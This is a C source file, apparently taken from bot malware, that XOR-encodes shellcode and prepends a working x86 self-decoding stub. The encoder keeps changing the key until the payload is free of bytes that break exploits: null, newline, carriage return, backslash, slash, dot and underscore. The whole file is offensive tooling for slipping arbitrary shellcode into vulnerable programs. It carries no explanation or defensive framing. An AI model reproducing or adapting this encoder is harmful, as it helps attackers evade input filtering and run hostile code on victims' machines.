#define ENCODER_OFFSET_SIZE					14			// Offset for size of the encoder
#define ENCODER_OFFSET_XORKEY				19			// Offset for the xor key

// ago <3
char encoder[]=
	"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x31\xC9\x66\xB9\xFF\xFF"
	"\x80\x73\x0E\xFF\x43\xE2\xF9";

bool contains(char *szBuf, int iSize, char cChar)
{	for(int i=0;i<iSize;i++) if(szBuf[i]==cChar) return true; return false; }

int encrypt_shellcode(char *szOrigShell, int iOrigShellSize, char *szShellBuf,
					  int iShellBufSize)
{	
	int iSCSize=iOrigShellSize, iEncoderSize=sizeof(encoder); 
	int xorkey=0x98;
	
	// Create local copies of the shellcode and encoder
	char *szShellCopy=(char*)malloc(iSCSize);
	memset(szShellCopy, 0, iSCSize); 
	memcpy(szShellCopy, szOrigShell, iSCSize);
	char *szEncoderCopy=(char*)malloc(iEncoderSize);
	memset(szEncoderCopy, 0, iEncoderSize); 
	memcpy(szEncoderCopy, encoder, iEncoderSize);

	char *szShellBackup=(char*)malloc(iSCSize);
	memset(szShellBackup, 0, iSCSize); 
	memcpy(szShellBackup, szShellCopy, iSCSize);

	// Set the content size in the encoder copy
	char *szShellLength=(char*)&iSCSize;
	szEncoderCopy[ENCODER_OFFSET_SIZE]=(char)szShellLength[0];
	szEncoderCopy[ENCODER_OFFSET_SIZE+1]=(char)szShellLength[1];

	// XOR the shellcode while it contains 0x00 0x0a 0x0d 0x5c 0x5f 0x2f 0x2e
	while(	contains(szShellCopy, iSCSize, '\x5C') || contains(szShellCopy, iSCSize, '\x00') || \
			contains(szShellCopy, iSCSize, '\x0A') || contains(szShellCopy, iSCSize, '\x0D') || \
			contains(szShellCopy, iSCSize, '\x5f') || contains(szShellCopy, iSCSize, '\x2f') || \
			contains(szShellCopy, iSCSize, '\x2e'))
	{	memcpy(szShellCopy, szShellBackup, iSCSize); xorkey++;
		for(int i=0;i<iSCSize;i++) szShellCopy[i]=szShellCopy[i]^xorkey;
		szEncoderCopy[ENCODER_OFFSET_XORKEY]=xorkey; }
 
	free(szShellBackup);

	// Clear the buffer with '\x00'
	memset(szShellBuf,			0,				iShellBufSize);	int iPos=0;
	// Append the encoder copy
	memcpy(szShellBuf+iPos,		szEncoderCopy,	iEncoderSize);	iPos+=iEncoderSize;
	// Append the shellcode copy
	memcpy(szShellBuf+iPos-1,	szShellCopy,	iSCSize);		iPos+=iSCSize;

	free(szEncoderCopy); 
	free(szShellCopy);

	return iPos; 
}